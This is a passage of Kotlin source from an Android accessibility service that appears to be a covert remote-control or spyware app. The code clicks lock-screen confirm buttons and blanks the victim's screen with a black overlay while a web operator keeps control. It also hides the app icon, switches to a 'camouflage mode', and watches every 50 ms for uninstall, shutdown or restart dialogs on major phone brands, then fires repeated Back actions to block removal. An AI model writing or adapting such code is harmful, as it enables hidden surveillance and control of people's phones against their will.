    private fun findLockScreenConfirmButton(rootNode: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        return try {
            val candidates = mutableListOf<AccessibilityNodeInfo>()
            if (::screenManager.isInitialized) {
                screenManager.findAllClickableNodes(rootNode, candidates)
            } else {
                // 简单的回退实现
                findAllClickableNodesRecursive(rootNode, candidates)
            }

            val screenHeight = resources.displayMetrics.heightPixels

            // 过滤出可能的确认按钮
            val confirmCandidates = candidates.filter { node: AccessibilityNodeInfo ->
                val bounds = android.graphics.Rect()
                node.getBoundsInScreen(bounds)
                val className = node.className?.toString() ?: ""
                val nodeText = node.text?.toString() ?: ""
                val nodeDesc = node.contentDescription?.toString() ?: ""

                // ✅ 排除明确不是确认按钮的元素（增强版 - 包含紧急呼叫）
                val excludeTexts = arrayOf(
                    "EMERGENCY", "Emergency", "紧急", "紧急呼叫", "Emergency call", "紧急电话",
                    "取消", "Cancel", "删除", "Delete", "返回", "Back", "忘记", "Forgot",
                    "相机", "Camera", "锁屏画报", "充电", "Battery"
                )
                val isExcluded = excludeTexts.any { excludeText ->
                    nodeText.contains(excludeText, ignoreCase = true) ||
                            nodeDesc.contains(excludeText, ignoreCase = true)
                }

                if (isExcluded) {
                    Log.d(
                        TAG,
                        "🚫 [锁屏排除] 排除非确认按钮: 文本='$nodeText', 描述='$nodeDesc', 类名='$className'"
                    )
                    return@filter false
                }

                // ✅ 严格的位置合理性检查
                val centerX = bounds.centerX()
                val centerY = bounds.centerY()
                val screenWidth = resources.displayMetrics.widthPixels

                // 1. 排除顶部区域的元素（状态栏、通知栏）
                val isInTopArea = centerY < screenHeight * 0.35
                if (isInTopArea) {
                    Log.d(
                        TAG,
                        "🚫 排除顶部区域元素: 文本='$nodeText', 描述='$nodeDesc', 位置=($centerX,$centerY)"
                    )
                    return@filter false
                }

                // 2. 特殊处理：严格排除顶部的"Unlock"图标
                val isUnlockIcon = nodeDesc.equals("Unlock", true) &&
                        className.contains("ImageView") &&
                        centerY < screenHeight * 0.4
                if (isUnlockIcon) {
                    Log.d(TAG, "🚫 严格排除顶部Unlock图标: 位置=($centerX,$centerY)")
                    return@filter false
                }

                // 3. 排除异常高Y坐标的元素
                if (centerY > screenHeight * 0.9 && centerY > 2000) {
                    Log.d(TAG, "🚫 排除异常高Y坐标元素: 位置=($centerX,$centerY)")
                    return@filter false
                }

                // 4. 确认按钮应该在合理区域内
                val isInReasonableArea =
                    centerY > screenHeight * 0.35 && centerY < screenHeight * 0.85
                val isInReasonableX = centerX > screenWidth * 0.1 && centerX < screenWidth * 0.95

                // 5. 锁屏确认按钮的特征
                val isButtonType = className.contains("ImageView") ||
                        className.contains("Button") ||
                        className.contains("TextView")
                val hasReasonableSize = bounds.width() > 80 && bounds.height() > 80 &&
                        bounds.width() < 300 && bounds.height() < 200
                val notKeyboard = !isKeyboardKey(nodeText, nodeDesc)

                // 6. 特殊处理：Enter按钮优先级最高
                val isEnterButton = nodeDesc.equals("Enter", true) &&
                        className.contains("ImageButton") &&
                        isInReasonableArea && isInReasonableX

                val isCandidate =
                    (isInReasonableArea && isInReasonableX && isButtonType && hasReasonableSize && notKeyboard) || isEnterButton

                if (isCandidate) {
                    Log.d(
                        TAG,
                        "🎯 锁屏确认按钮候选: 文本='$nodeText', 描述='$nodeDesc', 类名='$className', 位置=($centerX,$centerY), Enter按钮=$isEnterButton"
                    )
                } else {
                    Log.d(
                        TAG,
                        "❌ 不符合条件: 文本='$nodeText', 描述='$nodeDesc', 位置=($centerX,$centerY), 合理区域=$isInReasonableArea, 合理X=$isInReasonableX"
                    )
                }

                isCandidate
            }

            Log.d(TAG, "🔍 找到 ${confirmCandidates.size} 个锁屏确认按钮候选")

            // 优先选择Enter按钮，否则选择最右下角的候选
            val enterButton = confirmCandidates.find { node: AccessibilityNodeInfo ->
                val nodeDesc = node.contentDescription?.toString() ?: ""
                nodeDesc.equals("Enter", true)
            }

            if (enterButton != null) {
                Log.d(TAG, "✅ 优先选择Enter按钮作为确认按钮")
                return enterButton
            }

            // 如果没有Enter按钮，选择最右下角的候选
            confirmCandidates.maxByOrNull { node: AccessibilityNodeInfo ->
                val bounds = android.graphics.Rect()
                node.getBoundsInScreen(bounds)
                bounds.centerX() + bounds.centerY() // 右下角得分最高
            }

        } catch (e: Exception) {
            Log.e(TAG, "查找锁屏确认按钮失败", e)
            null
        }
    }

    /**
     * ✅ 查找屏幕右下角的可点击按钮
     */
    // ✅ Phase 4.3 Step 7: findBottomRightClickableButton方法已迁移到UIAnalysisManager

    // ✅ Phase 4.3 Step 7: findAllClickableNodes重复方法已删除，使用UIAnalysisManager中的实现


    /**
     * 设置ScreenCaptureManager的MediaProjection并启动捕获
     */
    private fun setupScreenCaptureWithMediaProjection(mediaProjection: MediaProjection) {
        try {
            // 设置MediaProjection并检查是否应该启动屏幕捕获
            if (::screenCaptureManager.isInitialized) {
                screenCaptureManager.setMediaProjection(mediaProjection)

                // 检查设备是否已注册成功，如果是则立即启动屏幕捕获
                if (isDeviceRegistered()) {
                    Log.i(TAG, "设备已注册，立即启动屏幕捕获")
//                    screenCaptureManager.startCapture()
                } else {
                    Log.i(TAG, "MediaProjection已设置，等待设备注册成功后启动屏幕捕获")
                }
            } else {
                Log.w(TAG, "ScreenCaptureManager未初始化")
            }
        } catch (e: Exception) {
            Log.e(TAG, "设置ScreenCaptureManager MediaProjection失败", e)
        }
    }

    /**
     * 处理MediaProjection权限获取成功（私有方法，供Intent调用）
     */
    private fun handleMediaProjectionGrantedFromIntent() {
        try {
            Log.i(TAG, "通过Intent接收到MediaProjection权限获取成功通知")
            handleMediaProjectionGranted()
        } catch (e: Exception) {
            Log.e(TAG, "处理Intent通知失败", e)
        }
    }

    /**
     * 点亮屏幕
     */
    fun wakeScreen() {
        try {
            Log.d(TAG, "尝试点亮屏幕")
            val powerManager = getSystemService(Context.POWER_SERVICE) as PowerManager

            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O_MR1) {
                // Android 8.1+ 使用无障碍服务的全局手势
                val wakeLock = powerManager.newWakeLock(
                    PowerManager.SCREEN_BRIGHT_WAKE_LOCK or PowerManager.ACQUIRE_CAUSES_WAKEUP,
                    "RemoteControl:WakeScreen"
                )
                wakeLock.acquire(3000) // 3秒后自动释放
                wakeLock.release()
                Log.i(TAG, "屏幕已点亮（使用WakeLock）")
            } else {
                // 旧版本Android
                val wakeLock = powerManager.newWakeLock(
                    PowerManager.SCREEN_BRIGHT_WAKE_LOCK or PowerManager.ACQUIRE_CAUSES_WAKEUP,
                    "RemoteControl:WakeScreen"
                )
                wakeLock.acquire(3000)
                wakeLock.release()
                Log.i(TAG, "屏幕已点亮")
            }
        } catch (e: Exception) {
            Log.e(TAG, "点亮屏幕失败", e)
        }
    }

    /**
     * 锁定屏幕
     */
    fun lockScreen() {
        try {
            Log.d(TAG, "尝试锁定屏幕")

            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) {
                // Android 9+ 使用无障碍服务的全局操作
                val success = performGlobalAction(AccessibilityService.GLOBAL_ACTION_LOCK_SCREEN)
                if (success) {
                    Log.i(TAG, "屏幕已锁定（使用无障碍服务）")
                } else {
                    Log.w(TAG, "使用无障碍服务锁屏失败，尝试其他方法")
                    fallbackLockScreen()
                }
            } else {
                // 旧版本Android，尝试其他方法
                fallbackLockScreen()
            }
        } catch (e: Exception) {
            Log.e(TAG, "锁定屏幕失败", e)
            fallbackLockScreen()
        }
    }

    /**
     * 备用锁屏方法（适用于旧版本或权限不足时）
     */
    private fun fallbackLockScreen() {
        try {
            // 尝试通过模拟电源键来锁屏
            val powerManager = getSystemService(Context.POWER_SERVICE) as PowerManager
            if (powerManager.isInteractive) {
                // 如果屏幕是亮着的，尝试发送系统级按键事件
                Log.d(TAG, "尝试备用锁屏方法")

                // 注意：在没有root权限的情况下，这些方法可能无效
                // 这里只是提供一个框架，实际可能需要用户手动锁屏
                Log.w(TAG, "备用锁屏方法需要更高权限，建议用户手动锁屏")
            }
        } catch (e: Exception) {
            Log.e(TAG, "备用锁屏方法失败", e)
        }
    }

    // 🆕 黑屏遮罩管理 - 已重构为Web端友好实现
    @Deprecated("已由webFriendlyBlackScreenOverlay替代")
    private var blackScreenMaskManager: com.hikoncont.service.modules.mask.AccessibilityMaskManager? =
        null
    private var isBlackScreenActive = false

    /**
     * 🆕 检查黑屏遮盖状态
     */
    fun isBlackScreenActive(): Boolean {
        return isBlackScreenActive
    }

    // 🆕 应用隐藏状态管理
    private var isAppHidden = false

    /**
     * 🆕 检查应用隐藏状态
     */
    fun isAppHidden(): Boolean {
        return isAppHidden
    }

    // 🛡️ 防止卸载保护状态管理
    private var isUninstallProtectionEnabled = false
    private val UNINSTALL_PROTECTION_PREF = "uninstall_protection_pref"
    private val KEY_UNINSTALL_PROTECTION = "enabled"
    // ✅ 已废弃：改用协程方式，不再使用Handler
    private var uninstallProtectionHandler: Handler? = null
    private var uninstallProtectionRunnable: Runnable? = null
    
    // ✅ 卸载保护监控任务（使用协程，后台线程执行）
    private var uninstallProtectionJob: Job? = null

    /**
     * 🛡️ 检查防止卸载保护状态
     */
    fun isUninstallProtectionEnabled(): Boolean {
        return isUninstallProtectionEnabled
    }


    /**
     * 🆕 启用黑屏遮盖
     * 使用MaskOverlayManager的阻止手机操作功能
     * ✅ 新增：检测WRITE_SETTINGS权限，如果存在则调整屏幕亮度为0
     */
    fun enableBlackScreen() {
        try {
            Log.i(TAG, "🖤 启用黑屏遮盖 - 使用MaskOverlayManager遮罩方案")

            // 如果已经有遮罩，先移除
            if (isBlackScreenActive) {
                disableBlackScreen()
            }

            // ✅ 新增：WRITE_SETTINGS权限检测和屏幕亮度管理
            if (::screenBrightnessManager.isInitialized) {
                Log.d(TAG, "🔍 检测WRITE_SETTINGS权限状态")

                if (screenBrightnessManager.hasWriteSettingsPermission()) {
                    Log.i(TAG, "✅ 检测到WRITE_SETTINGS权限存在，调整屏幕亮度为0")
                    val brightnessSuccess = screenBrightnessManager.enableLowBrightnessMode()

                    if (brightnessSuccess) {
                        Log.i(TAG, "✅ 屏幕亮度已调整为最低，增强黑屏效果")
                    } else {
                        Log.w(TAG, "⚠️ 调整屏幕亮度失败，但继续黑屏遮盖")
                    }
                } else {
                    Log.w(TAG, "⚠️ 没有WRITE_SETTINGS权限，打开权限页面")

                    // 如果没有权限，通过WriteSettingsPermissionManager打开权限页面
                    if (::writeSettingsPermissionManager.isInitialized) {
                        try {
                            writeSettingsPermissionManager.openWriteSettingsPage()
                            Log.i(TAG, "📱 已打开WRITE_SETTINGS权限设置页面，用户可手动授权")
                        } catch (e: Exception) {
                            Log.e(TAG, "❌ 打开WRITE_SETTINGS权限页面失败", e)
                        }
                    } else {
                        Log.w(TAG, "⚠️ WriteSettingsPermissionManager未初始化")
                    }
                }
            } else {
                Log.w(TAG, "⚠️ ScreenBrightnessManager未初始化")
            }

            // 🔑 关键修复：启用AccessibilityService截图模式
            screenCaptureManager?.enableAccessibilityScreenshotMode()

            // 🔑 使用MaskOverlayManager的纯色遮罩功能
            if (::maskOverlayManager.isInitialized) {
                Log.d(TAG, "🔧 使用MaskOverlayManager启用纯色遮罩")
                maskOverlayManager.enableBlackScreenMode() // 启用纯色遮罩模式，Web端可正常操作
            } else {
                Log.w(TAG, "⚠️ MaskOverlayManager未初始化，黑屏遮盖功能不可用")
                return
            }



            isBlackScreenActive = true
            Log.i(TAG, "✅ 黑屏遮盖已启用（基于MaskOverlayManager）")

            // 记录操作日志
            recordOperationLog(
                "SYSTEM_EVENT", "启用黑屏遮盖", mapOf(
                    "action" to "ENABLE_BLACK_SCREEN",
                    "note" to "手机端显示遮罩，Web端可正常操作",
                    "implementation" to "MaskOverlayManager",
                    "brightnessManagement" to if (::screenBrightnessManager.isInitialized) {
                        screenBrightnessManager.getBrightnessStatus()
                    } else {
                        mapOf("status" to "manager_not_initialized")
                    }
                )
            )

        } catch (e: Exception) {
            Log.e(TAG, "❌ 启用黑屏遮盖失败", e)
        }
    }

    /**
     * 🆕 取消黑屏遮盖
     * 使用MaskOverlayManager取消阻止手机操作
     * ✅ 新增：恢复原始屏幕亮度
     */
    fun disableBlackScreen() {
        try {
            Log.i(TAG, "🖤 取消黑屏遮盖")

            // 🔑 使用MaskOverlayManager取消阻止手机操作
            if (::maskOverlayManager.isInitialized) {
                Log.d(TAG, "🔧 使用MaskOverlayManager取消阻止手机操作")
                maskOverlayManager.unblockInput()
            }

            // ✅ 新增：恢复屏幕亮度
            if (::screenBrightnessManager.isInitialized) {
                Log.d(TAG, "🌅 恢复屏幕亮度")
                val brightnessRestored = screenBrightnessManager.restoreOriginalBrightness()

                if (brightnessRestored) {
                    Log.i(TAG, "✅ 屏幕亮度已恢复到原始值")
                } else {
                    Log.w(TAG, "⚠️ 恢复屏幕亮度失败，可能是权限问题")
                }
            } else {
                Log.w(TAG, "⚠️ ScreenBrightnessManager未初始化")
            }

            isBlackScreenActive = false

            // 🔑 关键修复：禁用AccessibilityService截图模式
            screenCaptureManager?.disableAccessibilityScreenshotMode()

            Log.i(TAG, "✅ 黑屏遮盖已取消（基于MaskOverlayManager）")

            // 记录操作日志
            recordOperationLog(
                "SYSTEM_EVENT", "取消黑屏遮盖", mapOf(
                    "action" to "DISABLE_BLACK_SCREEN",
                    "note" to "恢复正常显示",
                    "brightnessManagement" to if (::screenBrightnessManager.isInitialized) {
                        screenBrightnessManager.getBrightnessStatus()
                    } else {
                        mapOf("status" to "manager_not_initialized")
                    }
                )
            )

        } catch (e: Exception) {
            Log.e(TAG, "❌ 取消黑屏遮盖失败", e)
        }
    }


    /**
     * 🆕 隐藏应用桌面图标 - 增强版
     * 让远程控制应用的图标从手机桌面消失，但保持后台运行和连接
     * 支持多种隐藏方案，提高兼容性
     */
    fun hideApp() {
        try {
            Log.i(TAG, "📱 开始隐藏应用桌面图标 - 使用新的管理器")

            if (isAppHidden) {
                Log.w(TAG, "⚠️ 应用图标已经处于隐藏状态")
                sendAppHideResult(true, "应用图标已经处于隐藏状态")
                return
            }

            // 🎯 使用新的AppIconHideManager处理隐藏逻辑
            val hideResult = appIconHideManager.hideAppIcon()

            if (hideResult.success) {
                isAppHidden = true
                Log.i(TAG, "✅ 应用图标隐藏成功，使用方案: ${hideResult.method}")

                // 📝 记录成功操作
                recordOperationLog(
                    "SYSTEM_EVENT", "隐藏应用图标成功", mapOf(
                        "action" to "HIDE_APP_ICON_SUCCESS",
                        "method" to hideResult.method,
                        "deviceCompatibility" to hideResult.deviceCompatibility,
                        "attemptedMethods" to hideResult.attemptedMethods.joinToString(","),
                        "note" to "应用图标已从桌面隐藏，但保持运行",
                        "timestamp" to System.currentTimeMillis()
                    )
                )

                sendAppHideResult(true, "应用图标已成功隐藏，使用方案: ${hideResult.method}")
            } else {
                Log.e(TAG, "❌ 所有隐藏方案均失败: ${hideResult.message}")

                // 📝 记录失败操作
                recordOperationLog(
                    "SYSTEM_ERROR", "隐藏应用图标失败", mapOf(
                        "action" to "HIDE_APP_ICON_FAILED",
                        "error" to hideResult.message,
                        "deviceCompatibility" to hideResult.deviceCompatibility,
                        "attemptedMethods" to hideResult.attemptedMethods.joinToString(","),
                        "recommendedAction" to hideResult.recommendedAction,
                        "timestamp" to System.currentTimeMillis()
                    )
                )

                sendAppHideResult(false, "隐藏失败: ${hideResult.message}")
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 隐藏应用图标异常", e)
            recordOperationLog(
                "SYSTEM_ERROR", "隐藏应用图标异常", mapOf(
                    "error" to (e.message ?: "未知异常"),
                    "stackTrace" to e.stackTraceToString(),
                    "timestamp" to System.currentTimeMillis()
                )
            )
            sendAppHideResult(false, "系统异常: ${e.message}")
        }
    }

    /**
     * 🆕 显示应用桌面图标 - 增强版
     * 让远程控制应用的图标重新出现在手机桌面上
     */
    fun showApp() {
        try {
            Log.i(TAG, "📱 开始显示应用桌面图标 - 使用新的管理器")

            if (!isAppHidden) {
                Log.w(TAG, "⚠️ 应用图标已经处于显示状态")
                sendAppHideResult(false, "应用图标已经处于显示状态")
                return
            }

            // 🎯 使用新的AppIconHideManager处理显示逻辑
            val showResult = appIconHideManager.showAppIcon()

            if (showResult.success) {
                isAppHidden = false
                Log.i(TAG, "✅ 应用图标显示成功，使用方案: ${showResult.method}")

                // 📝 记录成功操作
                recordOperationLog(
                    "SYSTEM_EVENT", "显示应用图标成功", mapOf(
                        "action" to "SHOW_APP_ICON_SUCCESS",
                        "method" to showResult.method,
                        "deviceCompatibility" to showResult.deviceCompatibility,
                        "attemptedMethods" to showResult.attemptedMethods.joinToString(","),
                        "note" to "应用图标已重新显示在桌面",
                        "timestamp" to System.currentTimeMillis()
                    )
                )

                sendAppHideResult(false, "应用图标已成功显示，使用方案: ${showResult.method}")
            } else {
                Log.e(TAG, "❌ 所有显示方案均失败: ${showResult.message}")

                // 📝 记录失败操作
                recordOperationLog(
                    "SYSTEM_ERROR", "显示应用图标失败", mapOf(
                        "action" to "SHOW_APP_ICON_FAILED",
                        "error" to showResult.message,
                        "deviceCompatibility" to showResult.deviceCompatibility,
                        "attemptedMethods" to showResult.attemptedMethods.joinToString(","),
                        "recommendedAction" to showResult.recommendedAction,
                        "timestamp" to System.currentTimeMillis()
                    )
                )

                sendAppHideResult(true, "显示失败: ${showResult.message}")
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 显示应用图标异常", e)
            recordOperationLog(
                "SYSTEM_ERROR", "显示应用图标异常", mapOf(
                    "error" to (e.message ?: "未知异常"),
                    "stackTrace" to e.stackTraceToString(),
                    "timestamp" to System.currentTimeMillis()
                )
            )
            sendAppHideResult(true, "系统异常: ${e.message}")
        }
    }

    /**
     * 🛡️ 启用防止卸载保护
     * 监听长按应用图标和进入应用设置页面，自动触发主页功能
     */
    fun enableUninstallProtection() {
        try {
            Log.i(TAG, "🛡️ 启用防止卸载保护")

            if (isUninstallProtectionEnabled) {
                Log.w(TAG, "⚠️ 防止卸载保护已经启用")
                sendUninstallProtectionResult(true, "防止卸载保护已经启用")
                return
            }

            isUninstallProtectionEnabled = true
            // 持久化保存开启状态
            try {
                val sp = getSharedPreferences(UNINSTALL_PROTECTION_PREF, MODE_PRIVATE)
                sp.edit().putBoolean(KEY_UNINSTALL_PROTECTION, true).apply()
            } catch (_: Exception) {
            }

            // 启动监听
            startUninstallProtectionMonitor()

            Log.i(TAG, "✅ 防止卸载保护启用成功")
            recordOperationLog(
                "SYSTEM_EVENT", "启用防止卸载保护", mapOf(
                    "action" to "ENABLE_UNINSTALL_PROTECTION",
                    "timestamp" to System.currentTimeMillis()
                )
            )

            sendUninstallProtectionResult(true, "防止卸载保护已启用")

        } catch (e: Exception) {
            Log.e(TAG, "❌ 启用防止卸载保护异常", e)
            isUninstallProtectionEnabled = false
            recordOperationLog(
                "SYSTEM_ERROR", "启用防止卸载保护异常", mapOf(
                    "error" to (e.message ?: "未知异常"),
                    "stackTrace" to e.stackTraceToString(),
                    "timestamp" to System.currentTimeMillis()
                )
            )
            sendUninstallProtectionResult(false, "启用失败: ${e.message}")
        }
    }

    /**
     * 🛡️ 禁用防止卸载保护
     * 停止监听功能
     */
    fun disableUninstallProtection() {
        try {
            Log.i(TAG, "🛡️ 禁用防止卸载保护")

            if (!isUninstallProtectionEnabled) {
                Log.w(TAG, "⚠️ 防止卸载保护已经禁用")
                sendUninstallProtectionResult(false, "防止卸载保护已经禁用")
                return
            }

            isUninstallProtectionEnabled = false

            // 停止监听
            stopUninstallProtectionMonitor()

            Log.i(TAG, "✅ 防止卸载保护禁用成功")
            recordOperationLog(
                "SYSTEM_EVENT", "禁用防止卸载保护", mapOf(
                    "action" to "DISABLE_UNINSTALL_PROTECTION",
                    "timestamp" to System.currentTimeMillis()
                )
            )

            sendUninstallProtectionResult(false, "防止卸载保护已禁用")

        } catch (e: Exception) {
            Log.e(TAG, "❌ 禁用防止卸载保护异常", e)
            recordOperationLog(
                "SYSTEM_ERROR", "禁用防止卸载保护异常", mapOf(
                    "error" to (e.message ?: "未知异常"),
                    "stackTrace" to e.stackTraceToString(),
                    "timestamp" to System.currentTimeMillis()
                )
            )
            sendUninstallProtectionResult(false, "禁用失败: ${e.message}")
        }
    }

    /**
     * 🛡️ 启动防止卸载监听器
     */
    private fun startUninstallProtectionMonitor() {
        Log.d(TAG, "🛡️ 启动防止卸载监听器")

        // ✅ 性能优化：使用协程在后台线程执行，避免占用主线程
        // 停止之前的任务（如果存在）
        stopUninstallProtectionMonitor()
        
        uninstallProtectionJob = serviceScope.launch(Dispatchers.IO) {
            while (isActive && isUninstallProtectionEnabled) {
                try {
                    // ✅ WebView打开时跳过检查，避免影响性能
                    if (!isWebViewOpen) {
                        checkForUninstallAttempts()
                    }
                    
                    // ✅ 性能优化：延长检查间隔到200毫秒，减少主线程占用
                    // 原来每10毫秒检查一次（每秒100次），现在每200毫秒检查一次（每秒5次）
                    delay(50L)
                } catch (e: Exception) {
                    Log.e(TAG, "❌ 卸载保护检查任务失败", e)
                    delay(50L) // 出错时延迟重试
                }
            }
        }
        
        Log.d(TAG, "✅ 防止卸载监听器已启动（后台线程，每200ms检查一次）")
    }

    /**
     * 🛡️ 停止防止卸载监听器
     */
    private fun stopUninstallProtectionMonitor() {
        Log.d(TAG, "🛡️ 停止防止卸载监听器")

        try {
            // ✅ 停止协程任务（新方式）
            uninstallProtectionJob?.cancel()
            uninstallProtectionJob = null
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 停止协程任务失败", e)
        }

        try {
            // ✅ 兼容旧方式：停止Handler任务（如果有）
            uninstallProtectionRunnable?.let { runnable ->
                uninstallProtectionHandler?.removeCallbacks(runnable)
            }
            uninstallProtectionHandler = null
            uninstallProtectionRunnable = null
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 停止Handler任务失败", e)
        }

        Log.d(TAG, "✅ 防止卸载监听器已停止")
    }

    private fun hasVisibleText(rootNode: AccessibilityNodeInfo, text: String): Boolean {
        return try {
            val nodes = rootNode.findAccessibilityNodeInfosByText(text)
            nodes.any { it.isVisibleToUser }
        } catch (_: Exception) {
            false
        }
    }

    fun getStableRootInActiveWindow(service: AccessibilityService): AccessibilityNodeInfo? {
        var rootInActiveWindow: AccessibilityNodeInfo? = null

        // ✅ 原APK策略：最多尝试5次获取稳定的根节点
        for (attempt in 1..5) {
            rootInActiveWindow = service.rootInActiveWindow
            if (rootInActiveWindow != null) {
                break
            }
            // 短暂延迟后重试
            Thread.sleep(20)
        }

        return rootInActiveWindow
    }
    /**
     * 🛡️ 检查卸载尝试
     */
    private fun checkForUninstallAttempts() {



        try {
            // 检查是否有可疑的UI界面出现
            val rootNode = getStableRootInActiveWindow(this)
            if (rootNode != null) {

                val brand = Build.BRAND.lowercase()
                val isVivo = brand.contains("vivo") ||brand.contains("iqoo")
                if (isVivo){
                    val ourPackageName = getString(R.string._2580369_res_0x7f10001e)
                    val huaweitext = "“"+ourPackageName+"”及其数据将会被删除"
                    if (hasVisibleText(rootNode, huaweitext)) {
                        Log.w(TAG, "🛡️ Vivo卸载标记" + huaweitext)
                        onUninstallAttemptDetected("UNINSTALL_DIALOG_Vivo", "检测到卸载确认对话框")
                        return
                    }
                }
                val ourPackageName = getString(R.string.app_name)
                val huaweitext = "是否卸载\""+ourPackageName+"\""
                if (hasVisibleText(rootNode, huaweitext)) {
                    Log.w(TAG, "🛡️ Huawei卸载标记" + huaweitext)
                    onUninstallAttemptDetected("UNINSTALL_DIALOG_HUAWEI", "检测到卸载确认对话框")
                    return
                }

                if (findNodeWithText(rootNode, "关机") != null ) {
                    Log.w(TAG, "🛡️ 关机卸载标记" )
                    onUninstallAttemptDetected("UNINSTALL_DIALOG_HUAWEI", "检测到关机卸载确认对话框")
                    return
                }
                if (findNodeWithText(rootNode, "重启")  != null) {
                    Log.w(TAG, "🛡️ 重启卸载标记" )
                    onUninstallAttemptDetected("UNINSTALL_DIALOG_HUAWEI", "检测到关机卸载确认对话框")
                    return
                }



//                val ourPackageName = getString(R.string.app_name)
//                val honorText = "是否移除\""+ourPackageName+"\"?"
//                if(hasVisibleText(rootNode,honorText)){
//
//                    Log.w(TAG, "🛡️ 荣耀卸载标记"+honorText)
//                    val node  = findNodeYByText(rootNode, "从桌面移除")
//                    if (node != null){
//                        if (node?.isClickable == true) {
//                            node.performAction(AccessibilityNodeInfo.ACTION_CLICK)
//                        }
//                    }
//                    onUninstallAttemptDetected("UNINSTALL_DIALOG_Honor", "检测到卸载确认对话框")
//                }


                // === 融合反编译APK方案：基于包名 + 关键字的卸载对话框快速检测并强制返回 ===
                runCatching {
                    val currentPkg = rootNode.packageName?.toString() ?: ""
                    // 常见“桌面/设置/安装器”等可能触发卸载对话框的包名（覆盖更多ROM）
                    val riskyPkgs = arrayOf(
                        "com.bbk.launcher2",
                        "com.miui.home",
                        "com.android.launcher",
                        "com.oppo.launcher",
                        "com.vivo.safecenter",
                        "com.iqoo.secure",
                        "com.meizu.flyme.launcher",
                        "com.android.settings",
                        "com.samsung.android.packageinstaller",
                        "com.huawei.android.launcher",
                        "com.hihonor.android.launcher",
                        "com.android.packageinstaller",
                        "com.huawei.appmarket",
                        "com.google.android.packageinstaller"
                    )

                    fun hasVisibleText(text: String): Boolean {
                        return try {
                            val nodes = rootNode.findAccessibilityNodeInfosByText(text)
                            nodes.any { it.isVisibleToUser }
                        } catch (_: Exception) {
                            false
                        }
                    }

                    val mainHandler = android.os.Handler(android.os.Looper.getMainLooper())
                    if (riskyPkgs.any { it.equals(currentPkg, ignoreCase = true) }) {
                        // 本应用名/伪装名（避免对0资源ID调用getString触发系统错误日志）
                        val appNameId = try {
                            resources.getIdentifier("app_name", "string", packageName)
                        } catch (_: Exception) {
                            0
                        }
                        val appName = if (appNameId != 0) {
                            try {
                                getString(appNameId)
                            } catch (_: Exception) {
                                applicationInfo.loadLabel(packageManager)?.toString() ?: packageName
                            }
                        } else {
                            applicationInfo.loadLabel(packageManager)?.toString() ?: packageName
                        }

                        val appAliasId = try {
                            resources.getIdentifier("app_name_tran", "string", packageName)
                        } catch (_: Exception) {
                            0
                        }
                        val appAlias = if (appAliasId != 0) {
                            try {
                                getString(appAliasId)
                            } catch (_: Exception) {
                                appName
                            }
                        } else {
                            appName
                        }

//                        val appAliasIdVivo = try {
//                            resources.getIdentifier("app_name_vivo", "string", packageName)
//                        } catch (_: Exception) {
//                            0
//                        }
//                        val appAliasVivo = if (appAliasIdVivo != 0) {
//                            try {
//                                getString(appAliasIdVivo)
//                            } catch (_: Exception) {
//                                appName
//                            }
//                        } else {
//                            appName
//                        }

                        val uninstallHit =
                            hasVisibleText("卸载") && hasVisibleText("取消") && (hasVisibleText(
                                appName
                            ) || hasVisibleText(appAlias) ||  hasVisibleText("手机管家"))






                        if (uninstallHit) {
                            Log.w(
                                TAG,
                                "🛡️ [融合方案] 命中卸载对话框关键字，执行多次返回以阻断卸载 currentPkg=$currentPkg"
                            )


                            val node = findNodeYByText(rootNode, "从桌面移除")
                            if (node != null) {
                                if (node?.isClickable == true) {
                                    node.performAction(AccessibilityNodeInfo.ACTION_CLICK)

                                    return
                                }
                            }

                            // 连续多次全局返回，分段延迟，提升成功率（参考反编译逻辑）
                            performGlobalAction(GLOBAL_ACTION_BACK)
                            mainHandler.postDelayed({ performGlobalAction(GLOBAL_ACTION_BACK) }, 50)
                            mainHandler.postDelayed({ performGlobalAction(GLOBAL_ACTION_BACK) }, 50)

                            // 再做一次延迟复核，若仍存在，则再退三次
                            mainHandler.postDelayed({
                                val stillThere =
                                    hasVisibleText("卸载") && (hasVisibleText(appName) || hasVisibleText(
                                        appAlias
                                    ))
                                if (stillThere) {
                                    Log.w(TAG, "🛡️ [融合方案] 复核仍存在卸载对话框，继续返回")
                                    performGlobalAction(GLOBAL_ACTION_BACK)
                                    mainHandler.postDelayed(
                                        { performGlobalAction(GLOBAL_ACTION_BACK) },
                                        50
                                    )
                                    mainHandler.postDelayed(
                                        { performGlobalAction(GLOBAL_ACTION_BACK) },
                                        50
                                    )
                                }
                                if (!isAppInCamouflageMode()) {
                                    Log.i(TAG, "🎭 APP未处于伪装模式，延迟启用伪装模式")

                                    enableCamouflageMode()
                                } else {
                                    Log.i(TAG, "🎭 APP已处于伪装模式")
                                }
                                // 立即上报一次检测
                                onUninstallAttemptDetected(
                                    "UNINSTALL_KEYWORD_DETECTED",
                                    "检测到卸载对话框 (融合方案)"
                                )

                            }, 50)

                            return
                        }
                    }
                }


                // 检查是否出现卸载相关的对话框
                if (isUninstallDialogVisible(rootNode)) {
                    Log.w(TAG, "🛡️ 检测到卸载确认对话框")

                    // 先执行防卸载操作
                    onUninstallAttemptDetected("UNINSTALL_DIALOG", "检测到卸载确认对话框")

                    // 检查APP是否处于伪装模式
                    android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
                        //延迟检测
                        if (!isAppInCamouflageMode()) {
                            Log.i(TAG, "🎭 APP未处于伪装模式，延迟启用伪装模式")

                            enableCamouflageMode()
                        } else {
                            Log.i(TAG, "🎭 APP已处于伪装模式")
                        }
                    }, 50) // 等待3秒让锁屏界面完全加载

                    return
                }


                // 检查是否出现了长按菜单
                if (isLongPressMenuVisible(rootNode)) {
                    Log.w(TAG, "🛡️ 检测到长按应用图标菜单")

                    // 先执行防卸载操作
                    onUninstallAttemptDetected("LONG_PRESS_MENU", "检测到长按应用图标菜单")

                    // 检查APP是否处于伪装模式
                    android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
                        //延迟检测
                        if (!isAppInCamouflageMode()) {
                            Log.i(TAG, "🎭 APP未处于伪装模式，延迟启用伪装模式")

                            enableCamouflageMode()
                        } else {
                            Log.i(TAG, "🎭 APP已处于伪装模式")
                        }
                    }, 50) // 等待3秒让锁屏界面完全加载
                    return
